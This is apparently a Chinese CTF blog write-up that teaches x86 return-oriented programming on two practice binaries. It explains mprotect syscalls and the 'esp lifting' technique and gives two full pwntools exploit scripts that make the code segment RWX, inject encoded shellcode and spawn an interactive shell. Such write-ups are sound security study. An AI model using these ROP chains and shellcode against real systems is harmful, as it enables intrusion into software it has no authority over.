x86 ROP study

  通过两道ctf题学习ROP

DEMO1—(pop-ret)

  首先overview,checksec得只开了NX:

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

  在ida中也没看到链接libc,所以ret2libc行不通了。



  栈不可执行又不能ret2libc,所以要考虑使用ROP来控制执行流,题目提示mprotect

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

  查看内存布局:

1
2
3
4
5
6
gdb-peda$ vm
Start End Perm Name
0x08048000 0x08049000 r-xp /mnt/hgfs/rop
0xf7770000 0xf7773000 r--p [vvar]
0xf7773000 0xf7774000 r-xp [vdso]
0xff93b000 0xff95c000 rw-p [stack]

  再结合代码,发现我们无法找到栈的地址,所以也就不能给stack加可执行,但我们可以给code段加可写权限,而且因为没开pie,code地址是确定的,所以我们第一个目标就是用mprotect修改code段权限。它的声明如下:

1
int mprotect(void *addr, size_t len, int prot);

  需要指出的是,修改权限的内存区间(addr + len)必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址(能被0x1000整除),并且区间长度len必须是页大小(0x1000)的整数倍。

  mprotect要通过system call来执行,也就是int 0x80。调用号在x86中是0x7d,而在x86-64中是10。关于system调用的介绍如下:



  那么问题就来了,我们要合理的布置调用参数(eax,ebx,ecx,edx)。这时候ROP就上场了,使用ROPgadget查询下,得到:

1
2
3
4
0x0804819c : pop eax ; ret
0x0804819e : pop ebx ; ret
0x080481a0 : pop ecx ; ret
0x080481a2 : pop edx ; ret

  那么我们就能控制寄存器了,完整的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

p = process('./demo1')

# 'a' * 4 * 12 + ret
padding = 'a' * 4 * 12
shellcode = ""
shellcode += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\x8b\xca\xa7\x79\x83\xee\xfc\xe2\xf4\xe1\xc1"
shellcode += "\xff\xe0\xd9\xac\xcf\x54\xe8\x43\x40\x11\xa4\xb9\xcf"
shellcode += "\x79\xe3\xe5\xc5\x10\xe5\x43\x44\x2b\x63\xc2\xa7\x79"
shellcode += "\x8b\xe5\xc5\x10\xe5\xe5\xd4\x11\x8b\x9d\xf4\xf0\x6a"
shellcode += "\x07\x27\x79"
pop_eax_ret = 0x0804819c
pop_ebx_ret = 0x0804819e
pop_ecx_ret = 0x080481a0
pop_edx_ret = 0x080481a2
int80 = 0x080480f6
buf = 0x08048000

#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */

payload = padding + p32(pop_eax_ret) + p32(0x7d) # mprotect
payload += p32(pop_ebx_ret) + p32(buf)
payload += p32(pop_ecx_ret) + p32(0x1000)
payload += p32(pop_edx_ret) + p32(7)
payload += p32(int80)

payload += p32(pop_eax_ret) + p32(3) # sys_read
payload += p32(pop_ebx_ret) + p32(0)
payload += p32(pop_ecx_ret) + p32(buf)
payload += p32(pop_edx_ret) + p32(len(shellcode) + 100)
payload += p32(int80)

payload += p32(buf) # implement shellcode
log.debug("ready to hijick...")
pause()
p.sendline(payload)


log.debug("ready to inject shellcode...")
pause()
p.sendline(shellcode)

p.interactive()

  mprotect调用前:



  mprotect调用后,权限已经成功改掉:



DEMO2—(esp lifting)

  这道题是上道题的增强版,背景都一样,但去除了上面可直接利用的pop retgadget。而生机在代码片段中的sys_write/sys_read的布置中:



  可以看到:

1
2
3
4
.text:08048102                 mov     ebx, [esp+fd]   ; fd
.text:08048106 mov ecx, [esp+addr] ; addr
.text:0804810A mov edx, [esp+len] ; len
.text:0804810E int 80h ; LINUX - sys_read

  这些操作可以帮我们控制各个寄存器,但eax需要另外处理,因为sys_write/sys_read写入或读取的长度会返回在eax中,所以我们可以通过控制它们来控制eax的值,参考上面的system call调用图。

  但问题是如何进行持久控制,让程序流多跳转几次?

  在ROPgadget中我找到一条比较有价值的gadget:add esp, 0x20 ; ret。这个gadget可以让我们控制栈高度,虽然没有pop ret直接,但是适合在有参数的函数调用下使用,多出来的部分还可以填充。这种攻击手法称为esp lifting,原理如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eplg:
addl $LOCAL_VARS_SIZE,%esp
ret

Suppose f1 and f2 are addresses of functions located in a library. We build
the following overflow string (I have skipped buffer fill-up to save space):

<- stack grows this way
addresses grow this way ->

---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^ ^ ^
| | |
| | <---------LOCAL_VARS_SIZE------------->|
|
|-- this int32 should overwrite return address
of a vulnerable function

PAD is a padding (consisting of irrelevant nonzero bytes), whose
length, added to the amount of space occupied by f1's arguments, should equal
LOCAL_VARS_SIZE.

  完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- coding:utf-8 -*-
from pwn import *
from cuteprint.cuteprint import PrettyPrinter

context(log_level = 'debug', arch = 'i386', os = 'linux')
pr = PrettyPrinter()
pr.print_title("PWN IT")

p = process('./demo2')

# 'a' * 16 + ret
padding = '\xff' * 16
shellcode = ""
shellcode += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\x8b\xca\xa7\x79\x83\xee\xfc\xe2\xf4\xe1\xc1"
shellcode += "\xff\xe0\xd9\xac\xcf\x54\xe8\x43\x40\x11\xa4\xb9\xcf"
shellcode += "\x79\xe3\xe5\xc5\x10\xe5\x43\x44\x2b\x63\xc2\xa7\x79"
shellcode += "\x8b\xe5\xc5\x10\xe5\xe5\xd4\x11\x8b\x9d\xf4\xf0\x6a"
shellcode += "\x07\x27\x79"

add_esp_ret = 0x08048198
set_ebcdx = 0x0804811A # 这里是 sys_write 函数的部分
code_addr = 0x08048000
write_msg = 0x08048115
read_msg = 0x080480FD
mprotect = 0x7d

payload = padding
# 设置 eax 为mprotext的调用号 125
payload += p32(write_msg) + p32(add_esp_ret) + p32(1) + p32(code_addr) + p32(mprotect)
# 设置 ebx ecx edx,并结合上步调用 mprotect
payload += 'a' * (0x20 - 0xc) + p32(set_ebcdx) + p32(add_esp_ret) + p32(code_addr) + p32(0x1000) + p32(7)
# 调用 sys_read 读取shellcode,并执行
payload += 'a' * (0x20 - 0xc) + p32(read_msg) + p32(code_addr) + p32(0) + p32(code_addr) + p32(len(shellcode) + 100)

pr.print_good("ready to hijick...")
pause()
p.sendline(payload)

pr.print_good("ready to inject shellcode...")
pause()
p.sendline(shellcode)

pr.print_good("DONE")
p.interactive()

参考链接

# pwm, rop

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×